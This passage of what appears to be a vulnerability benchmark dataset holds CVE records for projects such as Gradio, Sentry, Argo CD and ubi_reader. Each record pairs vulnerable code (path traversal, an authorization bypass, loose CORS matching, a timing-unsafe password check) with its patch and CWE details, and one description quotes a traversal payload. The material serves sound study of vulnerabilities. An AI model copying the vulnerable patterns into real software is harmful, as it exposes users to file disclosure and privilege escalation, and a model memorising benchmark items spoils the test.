{\n\t\t\treturn bytestr.StrSlash\n\t\t}\n\t\tb = b[:nn+1]\n\t}\n\n\treturn b\n}"}], "vul_patch": "--- a/pkg/protocol/uri.go\n+++ b/pkg/protocol/uri.go\n@@ -2,6 +2,18 @@\n \tdst = dst[:0]\n \tdst = addLeadingSlash(dst, src)\n \tdst = decodeArgAppendNoPlus(dst, src)\n+\n+\t// Windows server need to replace all backslashes with\n+\t// forward slashes to avoid path traversal attacks.\n+\tif filepath.Separator == '\\\\' {\n+\t\tfor {\n+\t\t\tn := bytes.IndexByte(dst, '\\\\')\n+\t\t\tif n < 0 {\n+\t\t\t\tbreak\n+\t\t\t}\n+\t\t\tdst[n] = '/'\n+\t\t}\n+\t}\n \n \t// remove duplicate slashes\n \tb := dst\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-51449", "cve_description": "Gradio is an open-source Python package that allows you to quickly build a demo or web application for your machine learning model, API, or any arbitary Python function. Versions of `gradio` prior to 4.11.0 contained a vulnerability in the `/file` route which made them susceptible to file traversal attacks in which an attacker could access arbitrary files on a machine running a Gradio app with a public URL (e.g. if the demo was created with `share=True`, or on Hugging Face Spaces) if they knew the path of files to look for. This issue has been patched in version 4.11.0.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/gradio-app/gradio", "patch_url": ["https://github.com/gradio-app/gradio/commit/7ba8c5da45b004edd12c0460be9222f5b5f5f055", "https://github.com/gradio-app/gradio/commit/1b9d4234d6c25ef250d882c7b90e1f4039ed2d76"], "programing_language": "Python", "vul_func": [{"id": "vul_py_282_1", "commit": "dc131b6", "file_path": "gradio/routes.py", "start_line": 434, "end_line": 484, "snippet": "        async def file(path_or_url: str, request: fastapi.Request):\n            blocks = app.get_blocks()\n            if utils.validate_url(path_or_url):\n                return RedirectResponse(\n                    url=path_or_url, status_code=status.HTTP_302_FOUND\n                )\n            abs_path = utils.abspath(path_or_url)\n\n            in_blocklist = any(\n                utils.is_in_or_equal(abs_path, blocked_path)\n                for blocked_path in blocks.blocked_paths\n            )\n            is_dir = abs_path.is_dir()\n\n            if in_blocklist or is_dir:\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            created_by_app = str(abs_path) in set().union(*blocks.temp_file_sets)\n            in_allowlist = any(\n                utils.is_in_or_equal(abs_path, allowed_path)\n                for allowed_path in blocks.allowed_paths\n            )\n            was_uploaded = utils.is_in_or_equal(abs_path, app.uploaded_file_dir)\n            is_cached_example = utils.is_in_or_equal(\n                abs_path, utils.abspath(CACHED_FOLDER)\n            )\n\n            if not (\n                created_by_app or in_allowlist or was_uploaded or is_cached_example\n            ):\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            if not abs_path.exists():\n                raise HTTPException(404, f\"File not found: {path_or_url}.\")\n\n            range_val = request.headers.get(\"Range\", \"\").strip()\n            if range_val.startswith(\"bytes=\") and \"-\" in range_val:\n                range_val = range_val[6:]\n                start, end = range_val.split(\"-\")\n                if start.isnumeric() and end.isnumeric():\n                    start = int(start)\n                    end = int(end)\n                    response = ranged_response.RangedFileResponse(\n                        abs_path,\n                        ranged_response.OpenRange(start, end),\n                        dict(request.headers),\n                        stat_result=os.stat(abs_path),\n                    )\n                    return response\n\n            return FileResponse(abs_path, headers={\"Accept-Ranges\": \"bytes\"})"}], "fix_func": [{"id": "fix_py_282_1", "commit": "7ba8c5da45b004edd12c0460be9222f5b5f5f055", "file_path": "gradio/routes.py", "start_line": 434, "end_line": 484, "snippet": "        async def file(path_or_url: str, request: fastapi.Request):\n            blocks = app.get_blocks()\n            if client_utils.is_http_url_like(path_or_url):\n                return RedirectResponse(\n                    url=path_or_url, status_code=status.HTTP_302_FOUND\n                )\n            abs_path = utils.abspath(path_or_url)\n\n            in_blocklist = any(\n                utils.is_in_or_equal(abs_path, blocked_path)\n                for blocked_path in blocks.blocked_paths\n            )\n            is_dir = abs_path.is_dir()\n\n            if in_blocklist or is_dir:\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            created_by_app = str(abs_path) in set().union(*blocks.temp_file_sets)\n            in_allowlist = any(\n                utils.is_in_or_equal(abs_path, allowed_path)\n                for allowed_path in blocks.allowed_paths\n            )\n            was_uploaded = utils.is_in_or_equal(abs_path, app.uploaded_file_dir)\n            is_cached_example = utils.is_in_or_equal(\n                abs_path, utils.abspath(CACHED_FOLDER)\n            )\n\n            if not (\n                created_by_app or in_allowlist or was_uploaded or is_cached_example\n            ):\n                raise HTTPException(403, f\"File not allowed: {path_or_url}.\")\n\n            if not abs_path.exists():\n                raise HTTPException(404, f\"File not found: {path_or_url}.\")\n\n            range_val = request.headers.get(\"Range\", \"\").strip()\n            if range_val.startswith(\"bytes=\") and \"-\" in range_val:\n                range_val = range_val[6:]\n                start, end = range_val.split(\"-\")\n                if start.isnumeric() and end.isnumeric():\n                    start = int(start)\n                    end = int(end)\n                    response = ranged_response.RangedFileResponse(\n                        abs_path,\n                        ranged_response.OpenRange(start, end),\n                        dict(request.headers),\n                        stat_result=os.stat(abs_path),\n                    )\n                    return response\n\n            return FileResponse(abs_path, headers={\"Accept-Ranges\": \"bytes\"})"}], "vul_patch": "--- a/gradio/routes.py\n+++ b/gradio/routes.py\n@@ -1,6 +1,6 @@\n         async def file(path_or_url: str, request: fastapi.Request):\n             blocks = app.get_blocks()\n-            if utils.validate_url(path_or_url):\n+            if client_utils.is_http_url_like(path_or_url):\n                 return RedirectResponse(\n                     url=path_or_url, status_code=status.HTTP_302_FOUND\n                 )\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-36829", "cve_description": "Sentry is an error tracking and performance monitoring platform. Starting in version 23.6.0 and prior to version 23.6.2, the Sentry API incorrectly returns the `access-control-allow-credentials: true` HTTP header if the `Origin` request header ends with the `system.base-hostname` option of Sentry installation. This only affects installations that have `system.base-hostname` option explicitly set, as it is empty by default. Impact is limited since recent versions of major browsers have cross-site cookie blocking enabled by default. However, this flaw could allow other multi-step attacks. The patch has been released in Sentry 23.6.2.", "cwe_info": {"CWE-697": {"name": "Incorrect Comparison", "description": "The product compares two entities in a security-relevant context, but the comparison is incorrect, which may lead to resultant weaknesses."}}, "repo": "https://github.com/getsentry/sentry", "patch_url": ["https://github.com/getsentry/sentry/commit/ee44c6be35e5e464bc40637580f39867898acd8b"], "programing_language": "Python", "vul_func": [{"id": "vul_py_428_1", "commit": "8d836ea", "file_path": "src/sentry/api/base.py", "start_line": 92, "end_line": 127, "snippet": "    def allow_cors_options_wrapper(self, request: Request, *args, **kwargs):\n        if request.method == \"OPTIONS\":\n            response = HttpResponse(status=200)\n            response[\"Access-Control-Max-Age\"] = \"3600\"  # don't ask for options again for 1 hour\n        else:\n            response = func(self, request, *args, **kwargs)\n\n        allow = \", \".join(self._allowed_methods())\n        response[\"Allow\"] = allow\n        response[\"Access-Control-Allow-Methods\"] = allow\n        response[\"Access-Control-Allow-Headers\"] = (\n            \"X-Sentry-Auth, X-Requested-With, Origin, Accept, \"\n            \"Content-Type, Authentication, Authorization, Content-Encoding, \"\n            \"sentry-trace, baggage, X-CSRFToken\"\n        )\n        response[\"Access-Control-Expose-Headers\"] = \"X-Sentry-Error, Retry-After\"\n\n        if request.META.get(\"HTTP_ORIGIN\") == \"null\":\n            origin = \"null\"  # if ORIGIN header is explicitly specified as 'null' leave it alone\n        else:\n            origin = origin_from_request(request)\n\n        if origin is None or origin == \"null\":\n            response[\"Access-Control-Allow-Origin\"] = \"*\"\n        else:\n            response[\"Access-Control-Allow-Origin\"] = origin\n\n        # If the requesting origin is a subdomain of\n        # the application's base-hostname we should allow cookies\n        # to be sent.\n        basehost = options.get(\"system.base-hostname\")\n        if basehost and origin:\n            if origin.endswith(basehost):\n                response[\"Access-Control-Allow-Credentials\"] = \"true\"\n\n        return response"}], "fix_func": [{"id": "fix_py_428_1", "commit": "ee44c6be35e5e464bc40637580f39867898acd8b", "file_path": "src/sentry/api/base.py", "start_line": 92, "end_line": 127, "snippet": "    def allow_cors_options_wrapper(self, request: Request, *args, **kwargs):\n        if request.method == \"OPTIONS\":\n            response = HttpResponse(status=200)\n            response[\"Access-Control-Max-Age\"] = \"3600\"  # don't ask for options again for 1 hour\n        else:\n            response = func(self, request, *args, **kwargs)\n\n        allow = \", \".join(self._allowed_methods())\n        response[\"Allow\"] = allow\n        response[\"Access-Control-Allow-Methods\"] = allow\n        response[\"Access-Control-Allow-Headers\"] = (\n            \"X-Sentry-Auth, X-Requested-With, Origin, Accept, \"\n            \"Content-Type, Authentication, Authorization, Content-Encoding, \"\n            \"sentry-trace, baggage, X-CSRFToken\"\n        )\n        response[\"Access-Control-Expose-Headers\"] = \"X-Sentry-Error, Retry-After\"\n\n        if request.META.get(\"HTTP_ORIGIN\") == \"null\":\n            origin = \"null\"  # if ORIGIN header is explicitly specified as 'null' leave it alone\n        else:\n            origin = origin_from_request(request)\n\n        if origin is None or origin == \"null\":\n            response[\"Access-Control-Allow-Origin\"] = \"*\"\n        else:\n            response[\"Access-Control-Allow-Origin\"] = origin\n\n        # If the requesting origin is a subdomain of\n        # the application's base-hostname we should allow cookies\n        # to be sent.\n        basehost = options.get(\"system.base-hostname\")\n        if basehost and origin:\n            if origin.endswith((\"://\" + basehost, \".\" + basehost)):\n                response[\"Access-Control-Allow-Credentials\"] = \"true\"\n\n        return response"}], "vul_patch": "--- a/src/sentry/api/base.py\n+++ b/src/sentry/api/base.py\n@@ -30,7 +30,7 @@\n         # to be sent.\n         basehost = options.get(\"system.base-hostname\")\n         if basehost and origin:\n-            if origin.endswith(basehost):\n+            if origin.endswith((\"://\" + basehost, \".\" + basehost)):\n                 response[\"Access-Control-Allow-Credentials\"] = \"true\"\n \n         return response\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-23947", "cve_description": "Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. All Argo CD versions starting with 2.3.0-rc1 and prior to 2.3.17, 2.4.23  2.5.11, and 2.6.2 are vulnerable to an improper authorization bug which allows users who have the ability to update at least one cluster secret to update any cluster secret. The attacker could use this access to escalate privileges (potentially controlling Kubernetes resources) or to break Argo CD functionality (by preventing connections to external clusters). A patch for this vulnerability has been released in Argo CD versions 2.6.2, 2.5.11, 2.4.23, and 2.3.17. Two workarounds are available. Either modify the RBAC configuration to completely revoke all `clusters, update` access, or use the `destinations` and `clusterResourceWhitelist` fields to apply similar restrictions as the `namespaces` and `clusterResources` fields.", "cwe_info": {"CWE-863": {"name": "Incorrect Authorization", "description": "The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check."}}, "repo": "https://github.com/argoproj/argo-cd", "patch_url": ["https://github.com/argoproj/argo-cd/commit/fbb0b99b1ac3361b253052bd30259fa43a520945"], "programing_language": "Go", "vul_func": [{"id": "vul_go_51_1", "commit": "974c2de1686521437fa755a180b8d0593e9c0533", "file_path": "server/cluster/cluster.go", "start_line": 213, "end_line": 265, "snippet": "func (s *Server) Update(ctx context.Context, q *cluster.ClusterUpdateRequest) (*appv1.Cluster, error) {\n\tc, err := s.getClusterWith403IfNotExist(ctx, &cluster.ClusterQuery{\n\t\tServer: q.Cluster.Server,\n\t\tName:   q.Cluster.Name,\n\t\tId:     q.Id,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// verify that user can do update inside project where cluster is located\n\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(c.Project, q.Cluster.Server)); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif len(q.UpdatedFields) == 0 || sets.NewString(q.UpdatedFields...).Has(\"project\") {\n\t\t// verify that user can do update inside project where cluster will be located\n\t\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(q.Cluster.Project, q.Cluster.Server)); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tif len(q.UpdatedFields) != 0 {\n\t\tfor _, path := range q.UpdatedFields {\n\t\t\tif updater, ok := clusterFieldsByPath[path]; ok {\n\t\t\t\tupdater(c, q.Cluster)\n\t\t\t}\n\t\t}\n\t\tq.Cluster = c\n\t}\n\n\t// Test the token we just created before persisting it\n\tserverVersion, err := s.kubectl.GetServerVersion(q.Cluster.RESTConfig())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclust, err := s.db.UpdateCluster(ctx, q.Cluster)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = s.cache.SetClusterInfo(clust.Server, &appv1.ClusterInfo{\n\t\tServerVersion: serverVersion,\n\t\tConnectionState: appv1.ConnectionState{\n\t\t\tStatus:     appv1.ConnectionStatusSuccessful,\n\t\t\tModifiedAt: &v1.Time{Time: time.Now()},\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.toAPIResponse(clust), nil\n}"}], "fix_func": [{"id": "fix_go_51_1", "commit": "fbb0b99b1ac3361b253052bd30259fa43a520945", "file_path": "server/cluster/cluster.go", "start_line": 213, "end_line": 265, "snippet": "func (s *Server) Update(ctx context.Context, q *cluster.ClusterUpdateRequest) (*appv1.Cluster, error) {\n\tc, err := s.getClusterWith403IfNotExist(ctx, &cluster.ClusterQuery{\n\t\tServer: q.Cluster.Server,\n\t\tName:   q.Cluster.Name,\n\t\tId:     q.Id,\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// verify that user can do update inside project where cluster is located\n\tif !s.enf.Enforce(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(c.Project, c.Server)) {\n\t\treturn nil, common.PermissionDeniedAPIError\n\t}\n\n\tif len(q.UpdatedFields) == 0 || sets.NewString(q.UpdatedFields...).Has(\"project\") {\n\t\t// verify that user can do update inside project where cluster will be located\n\t\tif !s.enf.Enforce(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(q.Cluster.Project, c.Server)) {\n\t\t\treturn nil, common.PermissionDeniedAPIError\n\t\t}\n\t}\n\n\tif len(q.UpdatedFields) != 0 {\n\t\tfor _, path := range q.UpdatedFields {\n\t\t\tif updater, ok := clusterFieldsByPath[path]; ok {\n\t\t\t\tupdater(c, q.Cluster)\n\t\t\t}\n\t\t}\n\t\tq.Cluster = c\n\t}\n\n\t// Test the token we just created before persisting it\n\tserverVersion, err := s.kubectl.GetServerVersion(q.Cluster.RESTConfig())\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tclust, err := s.db.UpdateCluster(ctx, q.Cluster)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = s.cache.SetClusterInfo(clust.Server, &appv1.ClusterInfo{\n\t\tServerVersion: serverVersion,\n\t\tConnectionState: appv1.ConnectionState{\n\t\t\tStatus:     appv1.ConnectionStatusSuccessful,\n\t\t\tModifiedAt: &v1.Time{Time: time.Now()},\n\t\t},\n\t})\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn s.toAPIResponse(clust), nil\n}"}], "vul_patch": "--- a/server/cluster/cluster.go\n+++ b/server/cluster/cluster.go\n@@ -9,14 +9,14 @@\n \t}\n \n \t// verify that user can do update inside project where cluster is located\n-\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(c.Project, q.Cluster.Server)); err != nil {\n-\t\treturn nil, err\n+\tif !s.enf.Enforce(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(c.Project, c.Server)) {\n+\t\treturn nil, common.PermissionDeniedAPIError\n \t}\n \n \tif len(q.UpdatedFields) == 0 || sets.NewString(q.UpdatedFields...).Has(\"project\") {\n \t\t// verify that user can do update inside project where cluster will be located\n-\t\tif err := s.enf.EnforceErr(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(q.Cluster.Project, q.Cluster.Server)); err != nil {\n-\t\t\treturn nil, err\n+\t\tif !s.enf.Enforce(ctx.Value(\"claims\"), rbacpolicy.ResourceClusters, rbacpolicy.ActionUpdate, createRBACObject(q.Cluster.Project, c.Server)) {\n+\t\t\treturn nil, common.PermissionDeniedAPIError\n \t\t}\n \t}\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-23947:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test  -timeout 30s -run ^TestUpdateCluster_RejectInvalidParams$ github.com/argoproj/argo-cd/v2/server/cluster\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-23947:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/argo-cd\ngit apply --whitespace=nowarn /workspace/fix.patch\ngo test  -timeout 30s -run ^TestUpdateCluster_RejectInvalidParams$ github.com/argoproj/argo-cd/v2/server/cluster && go test -timeout 30s -run '^(TestDeleteClusterByName|TestRotateAuth|TestGetCluster_UrlEncodedName|TestGetCluster_NameWithUrlEncodingButShouldNotBeUnescaped|TestUpdateCluster_FieldsPathSet|TestUpdateCluster_NoFieldsPaths)$' github.com/argoproj/argo-cd/v2/server/cluster\n"}
{"cve_id": "CVE-2022-42725", "cve_description": "Warpinator through 1.2.14 allows access outside of an intended directory, as demonstrated by symbolic directory links.", "cwe_info": {"CWE-59": {"name": "Improper Link Resolution Before File Access ('Link Following')", "description": "The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource."}}, "repo": "https://github.com/linuxmint/warpinator", "patch_url": ["https://github.com/linuxmint/warpinator/commit/5244c33d4c109ede9607b9d94461650410e2cddc"], "programing_language": "Python", "vul_func": [{"id": "vul_py_401_1", "commit": "c28609cef4765a97a85ac1d8930a10324e00454b", "file_path": "src/transfers.py", "start_line": 164, "end_line": 195, "snippet": "    def __init__(self, op):\n        super(FileReceiver, self).__init__()\n        self.save_path = prefs.get_save_path()\n        self.op = op\n        self.preserve_perms = prefs.preserve_permissions() and util.save_folder_is_native_fs()\n        self.preserve_timestamp = prefs.preserve_timestamp() and util.save_folder_is_native_fs()\n\n        self.current_path = None\n        self.current_gfile = None\n        self.current_type = None\n        self.current_stream = None\n        self.current_mode = 0\n        self.current_mtime = 0\n        self.current_mtime_usec = 0\n\n        if op.existing:\n            for name in op.top_dir_basenames:\n                try:\n                    path = os.path.join(self.save_path, name)\n                    if os.path.isdir(path): # file not found is ok\n                        shutil.rmtree(path)\n                    else:\n                        os.remove(path)\n                except FileNotFoundError:\n                    pass\n                except Exception as e:\n                    logging.warning(\"Problem removing existing files.  Transfer may not succeed: %s\" % e)\n\n        # We write files top-down.  If we're preserving permissions and we receive\n        # a folder in some hierarchy that is not writable, we won't be able to create\n        # anything inside it.\n        self.folder_permission_change_list = []"}, {"id": "vul_py_401_2", "commit": "c28609cef4765a97a85ac1d8930a10324e00454b", "file_path": "src/transfers.py", "start_line": 197, "end_line": 225, "snippet": "    def receive_data(self, s):\n        save_path = prefs.get_save_path()\n\n        path = os.path.join(save_path, s.relative_path)\n        if path != self.current_path:\n            self.close_current_file()\n            self.current_path = path\n            self.current_mode = s.file_mode\n            self.current_type = s.file_type\n            self.current_mtime = s.time.mtime\n            self.current_mtime_usec = s.time.mtime_usec\n\n        if not self.current_gfile:\n            self.current_gfile = Gio.File.new_for_path(path)\n\n        if s.file_type == FileType.DIRECTORY:\n            os.makedirs(path, exist_ok=True)\n        elif s.file_type == FileType.SYMBOLIC_LINK:\n            make_symbolic_link(self.op, path, s.symlink_target)\n        else:\n            if self.current_stream == None:\n                flags = Gio.FileCreateFlags.REPLACE_DESTINATION\n                self.current_stream = self.current_gfile.replace(None, False, flags, None)\n\n            if not s.chunk:\n                return\n\n            self.current_stream.write_bytes(GLib.Bytes(s.chunk), None)\n            self.op.progress_tracker.update_progress(len(s.chunk))"}], "fix_func": [{"id": "fix_py_401_1", "commit": "5244c33d4c109ede9607b9d94461650410e2cddc", "file_path": "src/transfers.py", "start_line": 167, "end_line": 199, "snippet": "    def __init__(self, op):\n        super(FileReceiver, self).__init__()\n        self.save_path = prefs.get_save_path()\n        self.save_path_file = Gio.File.new_for_path(self.save_path)\n        self.op = op\n        self.preserve_perms = prefs.preserve_permissions() and util.save_folder_is_native_fs()\n        self.preserve_timestamp = prefs.preserve_timestamp() and util.save_folder_is_native_fs()\n\n        self.current_path = None\n        self.current_gfile = None\n        self.current_type = None\n        self.current_stream = None\n        self.current_mode = 0\n        self.current_mtime = 0\n        self.current_mtime_usec = 0\n\n        if op.existing:\n            for name in op.top_dir_basenames:\n                try:\n                    path = os.path.join(self.save_path, name)\n                    if os.path.isdir(path): # file not found is ok\n                        shutil.rmtree(path)\n                    else:\n                        os.remove(path)\n                except FileNotFoundError:\n                    pass\n                except Exception as e:\n                    logging.warning(\"Problem removing existing files.  Transfer may not succeed: %s\" % e)\n\n        # We write files top-down.  If we're preserving permissions and we receive\n        # a folder in some hierarchy that is not writable, we won't be able to create\n        # anything inside it.\n        self.folder_permission_change_list = []"}, {"id": "fix_py_401_2", "commit": "5244c33d4c109ede9607b9d94461650410e2cddc", "file_path": "src/transfers.py", "start_line": 201, "end_line": 232, "snippet": "    def receive_data(self, s):\n        save_path = prefs.get_save_path()\n\n        path = os.path.join(save_path, s.relative_path)\n        if path != self.current_path:\n            self.close_current_file()\n            self.current_path = path\n            self.current_mode = s.file_mode\n            self.current_type = s.file_type\n            self.current_mtime = s.time.mtime\n            self.current_mtime_usec = s.time.mtime_usec\n\n        if not self.current_gfile:\n            self.current_gfile = Gio.File.new_for_path(path)\n            # Check for valid path (GFile resolves paths upon creation).\n            if self.save_path_file.get_relative_path(self.current_gfile) is None:\n                raise Exception(_(\"Resolved path is not valid: %s -> %s\") % (path, self.current_gfile.get_path()))\n\n        if s.file_type == FileType.DIRECTORY:\n            os.makedirs(path, exist_ok=True)\n        elif s.file_type == FileType.SYMBOLIC_LINK:\n            make_symbolic_link(self.op, path, s.symlink_target)\n        else:\n            if self.current_stream == None:\n                flags = Gio.FileCreateFlags.REPLACE_DESTINATION\n                self.current_stream = self.current_gfile.replace(None, False, flags, None)\n\n            if not s.chunk:\n                return\n\n            self.current_stream.write_bytes(GLib.Bytes(s.chunk), None)\n            self.op.progress_tracker.update_progress(len(s.chunk))"}], "vul_patch": "--- a/src/transfers.py\n+++ b/src/transfers.py\n@@ -1,6 +1,7 @@\n     def __init__(self, op):\n         super(FileReceiver, self).__init__()\n         self.save_path = prefs.get_save_path()\n+        self.save_path_file = Gio.File.new_for_path(self.save_path)\n         self.op = op\n         self.preserve_perms = prefs.preserve_permissions() and util.save_folder_is_native_fs()\n         self.preserve_timestamp = prefs.preserve_timestamp() and util.save_folder_is_native_fs()\n\n--- a/src/transfers.py\n+++ b/src/transfers.py\n@@ -12,6 +12,9 @@\n \n         if not self.current_gfile:\n             self.current_gfile = Gio.File.new_for_path(path)\n+            # Check for valid path (GFile resolves paths upon creation).\n+            if self.save_path_file.get_relative_path(self.current_gfile) is None:\n+                raise Exception(_(\"Resolved path is not valid: %s -> %s\") % (path, self.current_gfile.get_path()))\n \n         if s.file_type == FileType.DIRECTORY:\n             os.makedirs(path, exist_ok=True)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-31245", "cve_description": "omr-admin.py in openmptcprouter-vps-admin 0.57.3 and earlier compares the user provided password with the original password in a length dependent manner, which allows remote attackers to guess the password via a timing attack.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/Ysurac/openmptcprouter-vps-admin", "patch_url": ["https://github.com/Ysurac/openmptcprouter-vps-admin/commit/a01cbc8c3d3b8bb7720bf3ff234671b4c0e1859c#diff-b89ee68e63302a732d4bde35eb04a205b06f1611147e139642356f173195ab80"], "programing_language": "Python", "vul_func": [{"id": "vul_py_361_1", "commit": "2694612565aba58cc0a9bd2ad5d550aa4ef7bcf5", "file_path": "omr-admin.py", "start_line": 778, "end_line": 782, "snippet": "def verify_password(plain_password, user_password):\n    if plain_password == user_password:\n        LOG.debug(\"password true\")\n        return True\n    return False"}], "fix_func": [{"id": "fix_py_361_1", "commit": "a01cbc8c3d3b8bb7720bf3ff234671b4c0e1859c", "file_path": "omr-admin.py", "start_line": 778, "end_line": 782, "snippet": "def verify_password(plain_password, user_password):\n    if secrets.compare_digest(plain_password,user_password):\n        LOG.debug(\"password true\")\n        return True\n    return False"}], "vul_patch": "--- a/omr-admin.py\n+++ b/omr-admin.py\n@@ -1,5 +1,5 @@\n def verify_password(plain_password, user_password):\n-    if plain_password == user_password:\n+    if secrets.compare_digest(plain_password,user_password):\n         LOG.debug(\"password true\")\n         return True\n     return False\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-31564", "cve_description": "The woduq1414/munhak-moa repository before 2022-05-03 on GitHub allows absolute path traversal because the Flask send_file function is used unsafely.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/woduq1414/munhak-moa", "patch_url": ["https://github.com/woduq1414/munhak-moa/commit/e8f800373b20cb22de70c7a994325b8903877da0"], "programing_language": "Python", "vul_func": [{"id": "vul_py_318_1", "commit": "cdcc989", "file_path": "app.py", "start_line": "264", "end_line": "278", "snippet": "@app.route('/images/<path:path>')\ndef get_image(path):\n    def get_absolute_path(path):\n        import os\n        script_dir = os.path.dirname(__file__)  # <-- absolute dir the script is in\n        rel_path = path\n        abs_file_path = os.path.join(script_dir, rel_path)\n        return abs_file_path\n\n    return send_file(\n        get_absolute_path(f\"./images/{path}\"),\n        mimetype='image/png',\n        attachment_filename='snapshot.png',\n        cache_timeout=0\n    )"}], "fix_func": [{"id": "fix_py_318_1", "commit": "e8f8003", "file_path": "app.py", "start_line": "265", "end_line": "279", "snippet": "@app.route('/images/<path:path>')\ndef get_image(path):\n    def get_absolute_path(path):\n        import os\n        script_dir = os.path.dirname(__file__)  # <-- absolute dir the script is in\n        rel_path = path\n        abs_file_path = safe_join(script_dir, rel_path)\n        return abs_file_path\n\n    return send_file(\n        get_absolute_path(f\"./images/{path}\"),\n        mimetype='image/png',\n        attachment_filename='snapshot.png',\n        cache_timeout=0\n    )"}, {"id": "fix_py_318_2", "commit": "e8f8003", "file_path": "app.py", "start_line": "4", "end_line": "4", "snippet": "from werkzeug.utils import safe_join"}], "vul_patch": "--- a/app.py\n+++ b/app.py\n@@ -4,7 +4,7 @@\n         import os\n         script_dir = os.path.dirname(__file__)  # <-- absolute dir the script is in\n         rel_path = path\n-        abs_file_path = os.path.join(script_dir, rel_path)\n+        abs_file_path = safe_join(script_dir, rel_path)\n         return abs_file_path\n \n     return send_file(\n\n--- /dev/null\n+++ b/app.py\n@@ -0,0 +1 @@\n+from werkzeug.utils import safe_join\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-0591", "cve_description": "\nubireader_extract_files is vulnerable to path traversal when run against specifically crafted UBIFS files, allowing the attacker to overwrite files outside of the extraction directory (provided the process has write access to that file or directory).\n\nThis is due to the fact that a node name (dent_node.name) is considered trusted and joined to the extraction directory path during processing, then the node content is written to that joined path. By crafting a malicious UBIFS file with node names holding path traversal payloads (e.g. ../../tmp/outside.txt), it's possible to force ubi_reader to write outside of the extraction directory.\n\n\n\nThis issue affects ubi-reader before 0.8.5.\n\n", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/jrspruitt/ubi_reader", "patch_url": ["https://github.com/jrspruitt/ubi_reader/commit/d5d68e6b1b9f7070c29df5f67fc060f579ae9139"], "programing_language": "Python", "vul_func": [{"id": "vul_py_398_1", "commit": "b04b1bd67d2e664bd0e0b47c1c74425b05d1bb5b", "file_path": "ubireader/ubifs/output.py", "start_line": 56, "end_line": 148, "snippet": "def extract_dents(ubifs, inodes, dent_node, path='', perms=False):\n    if dent_node.inum not in inodes:\n        error(extract_dents, 'Error', 'inum: %s not found in inodes' % (dent_node.inum))\n        return\n\n    inode = inodes[dent_node.inum]\n    dent_path = os.path.join(path, dent_node.name)\n        \n    if dent_node.type == UBIFS_ITYPE_DIR:\n        try:\n            if not os.path.exists(dent_path):\n                os.mkdir(dent_path)\n                log(extract_dents, 'Make Dir: %s' % (dent_path))\n\n                if perms:\n                    _set_file_perms(dent_path, inode)\n        except Exception as e:\n            error(extract_dents, 'Warn', 'DIR Fail: %s' % e)\n\n        if 'dent' in inode:\n            for dnode in inode['dent']:\n                extract_dents(ubifs, inodes, dnode, dent_path, 